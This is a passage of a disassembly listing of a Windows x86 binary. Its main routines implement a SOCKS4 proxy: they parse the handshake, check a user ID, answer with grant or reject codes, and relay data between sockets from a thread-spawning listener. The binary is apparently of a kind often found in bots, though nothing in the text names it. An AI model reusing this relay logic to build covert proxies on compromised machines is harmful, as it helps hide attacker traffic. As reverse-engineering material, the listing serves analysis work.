locret_40732B:				; CODE XREF: sub_407148:loc_4072D9j
					; sub_407148+1C2j
		leave
		retn
sub_407148	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40732D	proc near		; DATA XREF: sub_40764D+145o

var_16F0	= dword	ptr -16F0h
var_16EC	= dword	ptr -16ECh
var_16E8	= dword	ptr -16E8h
var_16E4	= dword	ptr -16E4h
var_16E0	= byte ptr -16E0h
var_6E0		= byte ptr -6E0h
var_5E0		= dword	ptr -5E0h
var_5DC		= byte ptr -5DCh
var_5D4		= dword	ptr -5D4h
var_5D0		= byte ptr -5D0h
var_5CF		= byte ptr -5CFh
var_5CE		= dword	ptr -5CEh
var_5C8		= byte ptr -5C8h
var_1C8		= dword	ptr -1C8h
var_1BE		= byte ptr -1BEh
var_1AE		= byte ptr -1AEh
var_1B		= byte ptr -1Bh
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 16F0h
		call	sub_416BC0
		push	1BDh
		push	[ebp+arg_0]
		lea	eax, [ebp+var_1C8]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		mov	eax, [ebp+var_1C8]
		mov	[ebp+var_5D4], eax
		push	0
		push	408h
		lea	eax, [ebp+var_5D0]
		push	eax
		push	[ebp+var_5D4]
		call	dword_417248	; recv
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_40738F
		cmp	[ebp+var_8], 0FFFFFFFFh
		jnz	short loc_407396


loc_40738F:				; CODE XREF: sub_40732D+5Aj
		xor	eax, eax
		jmp	locret_407649
; ---------------------------------------------------------------------------


loc_407396:				; CODE XREF: sub_40732D+60j
		movzx	eax, [ebp+var_5D0]
		cmp	eax, 4
		jnz	short loc_4073BA
		movzx	eax, [ebp+var_5CF]
		cmp	eax, 1
		jnz	short loc_4073BA
		mov	[ebp+var_16EC],	1
		jmp	short loc_4073C1
; ---------------------------------------------------------------------------


loc_4073BA:				; CODE XREF: sub_40732D+73j
					; sub_40732D+7Fj
		and	[ebp+var_16EC],	0


loc_4073C1:				; CODE XREF: sub_40732D+8Bj
		mov	eax, [ebp+var_16EC]
		mov	[ebp+var_4], eax
		movsx	eax, [ebp+var_1BE]
		test	eax, eax
		jz	short loc_4073F5
		push	10h
		lea	eax, [ebp+var_1BE]
		push	eax
		lea	eax, [ebp+var_5C8]
		push	eax
		call	sub_416BF0	; strncmp
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4073F5
		and	[ebp+var_4], 0


loc_4073F5:				; CODE XREF: sub_40732D+A6j
					; sub_40732D+C2j
		movsx	eax, [ebp+var_1B]
		test	eax, eax
		jz	short loc_407456
		lea	eax, [ebp+var_6E0]
		push	eax
		push	[ebp+var_5D4]
		call	sub_4044F7
		pop	ecx
		pop	ecx
		cmp	[ebp+var_4], 0
		jz	short loc_407423
		mov	[ebp+var_16F0],	offset byte_41DE00
		jmp	short loc_40742D
; ---------------------------------------------------------------------------


loc_407423:				; CODE XREF: sub_40732D+E8j
		mov	[ebp+var_16F0],	offset dword_418EEC


loc_40742D:				; CODE XREF: sub_40732D+F4j
		push	[ebp+var_16F0]
		movzx	eax, [ebp+var_5D0]
		push	eax
		lea	eax, [ebp+var_6E0]
		push	eax
		push	offset dword_418EB8
		lea	eax, [ebp+var_1AE]
		push	eax
		call	sub_40D53F
		add	esp, 14h


loc_407456:				; CODE XREF: sub_40732D+CEj
		cmp	[ebp+var_4], 0
		jnz	short loc_4074A0
		push	8
		push	0
		lea	eax, [ebp+var_5D0]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	[ebp+var_5CF], 5Bh
		push	8
		lea	eax, [ebp+var_5D0]
		push	eax
		push	[ebp+var_5D4]
		call	sub_4053BF
		add	esp, 0Ch
		push	[ebp+var_5D4]
		call	sub_40538D
		pop	ecx
		xor	eax, eax
		jmp	locret_407649
; ---------------------------------------------------------------------------


loc_4074A0:				; CODE XREF: sub_40732D+12Dj
		push	0Ah
		lea	eax, [ebp+var_5DC]
		push	eax
		push	[ebp+var_5CE]
		call	dword_417238	; htons
		movzx	eax, ax
		push	eax
		call	sub_416F7A	; _itoa
		add	esp, 0Ch
		push	2710h
		push	0
		lea	eax, [ebp+var_5DC]
		push	eax
		push	[ebp+var_5CE+2]
		call	dword_41721C	; inet_ntoa
		push	eax
		call	sub_4050EA
		add	esp, 10h
		mov	[ebp+var_5E0], eax
		push	8
		push	0
		lea	eax, [ebp+var_5D0]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		cmp	[ebp+var_5E0], 0
		jnz	short loc_407537
		mov	[ebp+var_5CF], 5Bh
		push	8
		lea	eax, [ebp+var_5D0]
		push	eax
		push	[ebp+var_5D4]
		call	sub_4053BF
		add	esp, 0Ch
		push	[ebp+var_5D4]
		call	sub_40538D
		pop	ecx
		xor	eax, eax
		jmp	locret_407649
; ---------------------------------------------------------------------------


loc_407537:				; CODE XREF: sub_40732D+1D7j
		mov	[ebp+var_5CF], 5Ah
		push	8
		lea	eax, [ebp+var_5D0]
		push	eax
		push	[ebp+var_5D4]
		call	sub_4053BF
		add	esp, 0Ch


loc_407555:				; CODE XREF: sub_40732D+2FDj
		push	[ebp+var_5D4]
		call	sub_40447B
		pop	ecx
		test	eax, eax
		jz	short loc_4075BD
		push	0
		push	1000h
		lea	eax, [ebp+var_16E0]
		push	eax
		push	[ebp+var_5D4]
		call	dword_417248	; recv
		mov	[ebp+var_16E4],	eax
		cmp	[ebp+var_16E4],	0
		jz	short loc_407597
		cmp	[ebp+var_16E4],	0FFFFFFFFh
		jnz	short loc_40759C


loc_407597:				; CODE XREF: sub_40732D+25Fj
		jmp	loc_40762F
; ---------------------------------------------------------------------------


loc_40759C:				; CODE XREF: sub_40732D+268j
		push	[ebp+var_16E4]
		lea	eax, [ebp+var_16E0]
		push	eax
		push	[ebp+var_5E0]
		call	sub_4053BF
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4075BD
		jmp	short loc_40762F
; ---------------------------------------------------------------------------


loc_4075BD:				; CODE XREF: sub_40732D+236j
					; sub_40732D+28Cj
		push	[ebp+var_5E0]
		call	sub_40447B
		pop	ecx
		test	eax, eax
		jz	short loc_407622
		push	0
		push	1000h
		lea	eax, [ebp+var_16E0]
		push	eax
		push	[ebp+var_5E0]
		call	dword_417248	; recv
		mov	[ebp+var_16E8],	eax
		cmp	[ebp+var_16E8],	0
		jz	short loc_4075FF
		cmp	[ebp+var_16E8],	0FFFFFFFFh
		jnz	short loc_407601


loc_4075FF:				; CODE XREF: sub_40732D+2C7j
		jmp	short loc_40762F
; ---------------------------------------------------------------------------


loc_407601:				; CODE XREF: sub_40732D+2D0j
		push	[ebp+var_16E8]
		lea	eax, [ebp+var_16E0]
		push	eax
		push	[ebp+var_5D4]
		call	sub_4053BF
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_407622
		jmp	short loc_40762F
; ---------------------------------------------------------------------------


loc_407622:				; CODE XREF: sub_40732D+29Ej
					; sub_40732D+2F1j
		push	32h
		call	dword_41709C	; Sleep
		jmp	loc_407555
; ---------------------------------------------------------------------------


loc_40762F:				; CODE XREF: sub_40732D:loc_407597j
					; sub_40732D+28Ej ...
		push	[ebp+var_5D4]
		call	sub_40538D
		pop	ecx
		push	[ebp+var_5E0]
		call	sub_40538D
		pop	ecx
		xor	eax, eax

locret_407649:				; CODE XREF: sub_40732D+64j
					; sub_40732D+16Ej ...
		leave
		retn	4
sub_40732D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40764D	proc near		; DATA XREF: sub_4077DD+B4o

var_1CC		= dword	ptr -1CCh
var_1C8		= dword	ptr -1C8h
var_1C4		= dword	ptr -1C4h
var_1C0		= dword	ptr -1C0h
var_1BC		= byte ptr -1BCh
var_1B6		= byte ptr -1B6h
var_1A6		= byte ptr -1A6h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1CCh
		push	1BDh
		push	[ebp+arg_0]
		lea	eax, [ebp+var_1C0]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		push	1
		lea	eax, [ebp+var_1BC]
		push	eax
		call	sub_4046BC
		pop	ecx
		pop	ecx
		mov	[ebp+var_1C4], eax
		cmp	[ebp+var_1C4], 0
		jnz	short loc_4076A8
		push	[ebp+var_1C0]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_4077D9
; ---------------------------------------------------------------------------


loc_4076A8:				; CODE XREF: sub_40764D+46j
		lea	eax, [ebp+var_1BC]
		push	eax
		mov	eax, [ebp+var_1C0]
		push	dword ptr [eax]
		push	offset dword_418EF8
		lea	eax, [ebp+var_1A6]
		push	eax
		call	sub_40D53F
		add	esp, 10h


loc_4076CB:				; CODE XREF: sub_40764D+B9j
					; sub_40764D+E1j ...
		push	3E8h
		push	[ebp+var_1C4]
		call	sub_4048EF
		pop	ecx
		pop	ecx
		mov	[ebp+var_1C8], eax
		mov	eax, [ebp+var_1C0]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_4076F8
		cmp	[ebp+var_1C8], 0
		jnz	short loc_4076FD


loc_4076F8:				; CODE XREF: sub_40764D+A0j
		jmp	loc_4077BF
; ---------------------------------------------------------------------------


loc_4076FD:				; CODE XREF: sub_40764D+A9j
		cmp	[ebp+var_1C8], 0FFFFFFFFh
		jnz	short loc_407708
		jmp	short loc_4076CB
; ---------------------------------------------------------------------------


loc_407708:				; CODE XREF: sub_40764D+B7j
		push	1BDh
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_1CC], eax
		cmp	[ebp+var_1CC], 0
		jnz	short loc_407730
		push	[ebp+var_1C8]
		call	sub_4053B1
		pop	ecx
		jmp	short loc_4076CB
; ---------------------------------------------------------------------------


loc_407730:				; CODE XREF: sub_40764D+D3j
		mov	eax, [ebp+var_1CC]
		mov	ecx, [ebp+var_1C8]
		mov	[eax], ecx
		lea	eax, [ebp+var_1BC]
		push	eax
		mov	eax, [ebp+var_1CC]
		add	eax, 4
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_1B6]
		push	eax
		mov	eax, [ebp+var_1CC]
		add	eax, 0Ah
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		push	1A3h
		lea	eax, [ebp+var_1A6]
		push	eax
		mov	eax, [ebp+var_1CC]
		add	eax, 1Ah
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+var_1CC]
		push	offset sub_40732D
		call	sub_409479
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_4077BA
		push	[ebp+var_1CC]
		call	sub_416B4C	; free
		pop	ecx
		push	[ebp+var_1C8]
		call	sub_4053B1
		pop	ecx


loc_4077BA:				; CODE XREF: sub_40764D+153j
		jmp	loc_4076CB
; ---------------------------------------------------------------------------


loc_4077BF:				; CODE XREF: sub_40764D:loc_4076F8j
		push	[ebp+var_1C4]
		call	sub_404CBB
		pop	ecx
		push	[ebp+var_1C0]
		call	sub_409763
		pop	ecx
		xor	eax, eax

locret_4077D9:				; CODE XREF: sub_40764D+56j
		leave
		retn	4
sub_40764D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4077DD	proc near		; CODE XREF: sub_40A9CF+17Ap

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		cmp	[ebp+arg_4], 0
		jnz	short loc_40780F
		push	0Ah
		lea	eax, [ebp+var_8]
		push	eax
		push	0FFFFh
		push	401h
		call	sub_4103F5
		pop	ecx
		pop	ecx
		push	eax
		call	sub_416F7A	; _itoa
		add	esp, 0Ch
		lea	eax, [ebp+var_8]
		mov	[ebp+arg_4], eax


loc_40780F:				; CODE XREF: sub_4077DD+Aj
		push	1BDh
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jnz	short loc_407825
		jmp	short locret_40789E
; ---------------------------------------------------------------------------


loc_407825:				; CODE XREF: sub_4077DD+44j
		push	[ebp+arg_4]
		mov	eax, [ebp+var_C]
		add	eax, 4
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		cmp	[ebp+arg_8], 0
		jz	short loc_407844
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_10], eax
		jmp	short loc_40784B
; ---------------------------------------------------------------------------


loc_407844:				; CODE XREF: sub_4077DD+5Dj
		mov	[ebp+var_10], offset byte_41DE00


loc_40784B:				; CODE XREF: sub_4077DD+65j
		push	10h
		push	[ebp+var_10]
		mov	eax, [ebp+var_C]
		add	eax, 0Ah
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		push	1A3h
		push	[ebp+arg_0]
		mov	eax, [ebp+var_C]
		add	eax, 1Ah
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_4]
		push	offset dword_418F2C
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax+18Bh]
		neg	eax
		sbb	eax, eax
		inc	eax
		push	eax
		push	[ebp+var_C]
		push	offset sub_40764D
		call	sub_4095A4
		add	esp, 14h

locret_40789E:				; CODE XREF: sub_4077DD+46j
		leave
		retn
sub_4077DD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4078A0	proc near		; CODE XREF: sub_40A9CF+216p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_0]
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_4078B8
		jmp	short locret_4078E4
; ---------------------------------------------------------------------------


loc_4078B8:				; CODE XREF: sub_4078A0+14j
					; sub_4078A0:loc_4078E2j
		cmp	[ebp+var_4], 0
		jnz	short loc_4078C0
		jmp	short locret_4078E4
; ---------------------------------------------------------------------------


loc_4078C0:				; CODE XREF: sub_4078A0+1Cj
		mov	eax, [ebp+var_4]
		dec	eax
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 20h
		jnz	short loc_4078E0
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		and	byte ptr [eax],	0
		jmp	short loc_4078E2
; ---------------------------------------------------------------------------


loc_4078E0:				; CODE XREF: sub_4078A0+33j
		jmp	short locret_4078E4
; ---------------------------------------------------------------------------


loc_4078E2:				; CODE XREF: sub_4078A0+3Ej
		jmp	short loc_4078B8
; ---------------------------------------------------------------------------

locret_4078E4:				; CODE XREF: sub_4078A0+16j
					; sub_4078A0+1Ej ...
		leave
		retn
sub_4078A0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4078E6	proc near		; CODE XREF: sub_407D42+Ap

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	[ebp+var_8], 0
		and	[ebp+var_4], 0
		jmp	short loc_4078FC
; ---------------------------------------------------------------------------


loc_4078F5:				; CODE XREF: sub_4078E6:loc_407921j
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_4078FC:				; CODE XREF: sub_4078E6+Dj
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short loc_407923
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		movsx	ecx, [ebp+arg_4]
		cmp	eax, ecx
		jnz	short loc_407921
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax


loc_407921:				; CODE XREF: sub_4078E6+32j
		jmp	short loc_4078F5
; ---------------------------------------------------------------------------


loc_407923:				; CODE XREF: sub_4078E6+21j
		mov	eax, [ebp+var_8]
		leave
		retn
sub_4078E6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407928	proc near		; CODE XREF: sub_40E618+2Bp
					; sub_40E618+185p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		cmp	[ebp+arg_10], 0
		jnz	short loc_407963
		mov	eax, [ebp+arg_10]
		shl	eax, 2
		push	eax
		push	0
		push	[ebp+arg_8]
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	eax, [ebp+arg_10]
		shl	eax, 2
		push	eax
		push	0
		push	[ebp+arg_C]
		call	sub_416B6A	; memset
		add	esp, 0Ch
		xor	eax, eax
		jmp	locret_407A54
; ---------------------------------------------------------------------------


loc_407963:				; CODE XREF: sub_407928+Aj
		push	[ebp+arg_0]
		push	[ebp+arg_4]
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	offset dword_418F4C
		push	[ebp+arg_0]
		call	sub_40813C
		add	esp, 0Ch
		mov	ecx, [ebp+arg_8]
		mov	[ecx], eax
		mov	eax, [ebp+arg_C]
		mov	ecx, [ebp+arg_4]
		mov	[eax], ecx
		mov	[ebp+var_8], 1
		jmp	short loc_4079A1
; ---------------------------------------------------------------------------


loc_40799A:				; CODE XREF: sub_407928:loc_407A4Cj
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax


loc_4079A1:				; CODE XREF: sub_407928+70j
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+arg_10]
		jge	loc_407A51
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+arg_8]
		cmp	dword ptr [ecx+eax*4-4], 0
		jz	short loc_407A0A
		lea	eax, [ebp+var_4]
		push	eax
		push	offset dword_418F4C
		push	0
		call	sub_40813C
		add	esp, 0Ch
		mov	ecx, [ebp+var_8]
		mov	edx, [ebp+arg_8]
		mov	[edx+ecx*4], eax
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+arg_8]
		cmp	dword ptr [ecx+eax*4], 0
		jz	short loc_4079F8
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+arg_8]
		mov	eax, [ecx+eax*4]
		sub	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_4]
		add	ecx, eax
		mov	[ebp+var_C], ecx
		jmp	short loc_4079FC
; ---------------------------------------------------------------------------


loc_4079F8:				; CODE XREF: sub_407928+B8j
		and	[ebp+var_C], 0


loc_4079FC:				; CODE XREF: sub_407928+CEj
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+arg_C]
		mov	edx, [ebp+var_C]
		mov	[ecx+eax*4], edx
		jmp	short loc_407A4C
; ---------------------------------------------------------------------------


loc_407A0A:				; CODE XREF: sub_407928+90j
		mov	eax, [ebp+arg_10]
		sub	eax, [ebp+var_8]
		shl	eax, 2
		push	eax
		push	0
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+arg_8]
		lea	eax, [ecx+eax*4]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	eax, [ebp+arg_10]
		sub	eax, [ebp+var_8]
		shl	eax, 2
		push	eax
		push	0
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+arg_C]
		lea	eax, [ecx+eax*4]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	eax, [ebp+var_8]
		dec	eax
		jmp	short locret_407A54
; ---------------------------------------------------------------------------


loc_407A4C:				; CODE XREF: sub_407928+E0j
		jmp	loc_40799A
; ---------------------------------------------------------------------------


loc_407A51:				; CODE XREF: sub_407928+7Fj
		mov	eax, [ebp+arg_10]

locret_407A54:				; CODE XREF: sub_407928+36j
					; sub_407928+122j
		leave
		retn
sub_407928	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407A56	proc near		; CODE XREF: sub_401146+6Bp
					; sub_401146+CAp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+arg_0]
		mov	ecx, [ebp+arg_8]
		test	ecx, ecx
		jz	short loc_407A81
		cmp	ecx, 1
		jz	short loc_407A7E


loc_407A6E:				; CODE XREF: sub_407A56+26j
		mov	al, [esi]
		mov	[edi], al
		test	al, al
		jz	short loc_407A81
		inc	esi
		inc	edi
		dec	ecx
		cmp	ecx, 1
		jnz	short loc_407A6E


loc_407A7E:				; CODE XREF: sub_407A56+16j
		mov	byte ptr [edi],	0


loc_407A81:				; CODE XREF: sub_407A56+11j
					; sub_407A56+1Ej
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_407A56	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407A86	proc near		; CODE XREF: sub_4097A7+17p
					; sub_4098F3+17p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		jmp	short loc_407A97
; ---------------------------------------------------------------------------


loc_407A90:				; CODE XREF: sub_407A86+3Aj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_407A97:				; CODE XREF: sub_407A86+8j
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short loc_407AC6
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 30h
		jl	short loc_407AC2
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 39h
		jg	short loc_407AC2
		jmp	short loc_407A90
; ---------------------------------------------------------------------------


loc_407AC2:				; CODE XREF: sub_407A86+2Aj
					; sub_407A86+38j
		xor	al, al
		jmp	short locret_407AC8
; ---------------------------------------------------------------------------


loc_407AC6:				; CODE XREF: sub_407A86+1Cj
		mov	al, 1

locret_407AC8:				; CODE XREF: sub_407A86+3Ej
		leave
		retn
sub_407A86	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407ACA	proc near		; CODE XREF: sub_401000+F6p
					; sub_4148CE+61p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	[ebp+arg_8]
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_4], eax
		and	[ebp+var_8], 0
		and	[ebp+var_C], 0
		jmp	short loc_407AED
; ---------------------------------------------------------------------------


loc_407AE6:				; CODE XREF: sub_407ACA:loc_407B58j
		mov	eax, [ebp+var_C]
		inc	eax
		mov	[ebp+var_C], eax


loc_407AED:				; CODE XREF: sub_407ACA+1Aj
		mov	eax, [ebp+arg_4]
		sub	eax, [ebp+var_4]
		cmp	[ebp+var_C], eax
		jg	short loc_407B5A
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_C]
		movsx	eax, byte ptr [eax]
		mov	ecx, [ebp+arg_8]
		movsx	ecx, byte ptr [ecx]
		cmp	eax, ecx
		jz	short loc_407B37
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_C]
		movsx	eax, byte ptr [eax]
		mov	ecx, [ebp+arg_8]
		movsx	ecx, byte ptr [ecx]
		add	ecx, 20h
		cmp	eax, ecx
		jz	short loc_407B37
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_C]
		movsx	eax, byte ptr [eax]
		mov	ecx, [ebp+arg_8]
		movsx	ecx, byte ptr [ecx]
		sub	ecx, 20h
		cmp	eax, ecx
		jnz	short loc_407B58


loc_407B37:				; CODE XREF: sub_407ACA+3Fj
					; sub_407ACA+55j
		push	[ebp+var_4]
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_C]
		push	eax
		call	sub_416F80	; _strnicmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_407B58
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_C]
		jmp	short locret_407B5C
; ---------------------------------------------------------------------------


loc_407B58:				; CODE XREF: sub_407ACA+6Bj
					; sub_407ACA+84j
		jmp	short loc_407AE6
; ---------------------------------------------------------------------------


loc_407B5A:				; CODE XREF: sub_407ACA+2Cj
		xor	eax, eax

locret_407B5C:				; CODE XREF: sub_407ACA+8Cj
		leave
		retn
sub_407ACA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407B5E	proc near		; CODE XREF: sub_40A2D2+11Dp
					; sub_40E943+20p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	[ebp+var_4], 0
		jmp	short loc_407B70
; ---------------------------------------------------------------------------


loc_407B69:				; CODE XREF: sub_407B5E:loc_407BEEj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_407B70:				; CODE XREF: sub_407B5E+9j
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_407B85
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		jmp	short locret_407BF3
; ---------------------------------------------------------------------------


loc_407B85:				; CODE XREF: sub_407B5E+1Dj
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 0Dh
		jz	short loc_407BA1
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 0Ah
		jnz	short loc_407BEE


loc_407BA1:				; CODE XREF: sub_407B5E+33j
		and	[ebp+var_8], 0
		jmp	short loc_407BAE
; ---------------------------------------------------------------------------


loc_407BA7:				; CODE XREF: sub_407B5E:loc_407BECj
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax


loc_407BAE:				; CODE XREF: sub_407B5E+47j
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	ecx, [ebp+arg_0]
		movsx	eax, byte ptr [ecx+eax]
		cmp	eax, 0Dh
		jz	short loc_407BD2
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	ecx, [ebp+arg_0]
		movsx	eax, byte ptr [ecx+eax]
		cmp	eax, 0Ah
		jnz	short loc_407BE1


loc_407BD2:				; CODE XREF: sub_407B5E+60j
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	ecx, [ebp+arg_0]
		and	byte ptr [ecx+eax], 0
		jmp	short loc_407BEC
; ---------------------------------------------------------------------------


loc_407BE1:				; CODE XREF: sub_407B5E+72j
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		jmp	short locret_407BF3
; ---------------------------------------------------------------------------


loc_407BEC:				; CODE XREF: sub_407B5E+81j
		jmp	short loc_407BA7
; ---------------------------------------------------------------------------


loc_407BEE:				; CODE XREF: sub_407B5E+41j
		jmp	loc_407B69
; ---------------------------------------------------------------------------

locret_407BF3:				; CODE XREF: sub_407B5E+25j
					; sub_407B5E+8Cj
		leave
		retn
sub_407B5E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407BF5	proc near		; CODE XREF: sub_411A09+5Dp
					; sub_411A09+F3p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp


loc_407BF8:				; CODE XREF: sub_407BF5:loc_407C28j
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		mov	ecx, [ebp+arg_0]
		inc	ecx
		mov	[ebp+arg_0], ecx
		test	eax, eax
		jz	short loc_407C2A
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_407C15
		jmp	short loc_407C2A
; ---------------------------------------------------------------------------


loc_407C15:				; CODE XREF: sub_407BF5+1Cj
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		cmp	eax, 20h
		jnz	short loc_407C28
		mov	eax, [ebp+arg_0]
		and	byte ptr [eax],	0
		jmp	short loc_407C2A
; ---------------------------------------------------------------------------


loc_407C28:				; CODE XREF: sub_407BF5+29j
		jmp	short loc_407BF8
; ---------------------------------------------------------------------------


loc_407C2A:				; CODE XREF: sub_407BF5+12j
					; sub_407BF5+1Ej ...
		pop	ebp
		retn
sub_407BF5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407C2C	proc near		; CODE XREF: sub_4083AD+2F2p
					; sub_40CA29+91p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_C], eax
